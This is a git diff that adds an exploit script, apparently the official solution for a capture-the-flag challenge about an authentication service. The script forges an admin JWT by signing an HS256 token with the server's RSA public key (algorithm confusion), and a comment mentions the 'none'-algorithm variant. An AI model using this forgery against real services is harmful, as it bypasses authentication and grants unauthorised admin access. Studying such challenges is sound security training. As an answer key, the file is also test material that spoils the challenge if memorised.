diff --git a/official/普通的身份认证器/src/exp/exp.py b/official/普通的身份认证器/src/exp/exp.py
new file mode 100644
index 0000000..9cdc692
--- /dev/null
+++ b/official/普通的身份认证器/src/exp/exp.py
@@ -0,0 +1,15 @@
+import jwt
+
+PUBLIC_KEY = open("../jwt.key.pub", "r").read()
+
+payload = {
+  "sub": "admin",
+  "exp": 9602085613,  # fill in any number you like
+}
+
+encoded = jwt.encode(payload, PUBLIC_KEY, algorithm='HS256')
+
+print(encoded)
+
+# algorithm none is unfeasible.
+# print(jwt.encode(payload, key="", algorithm='none'))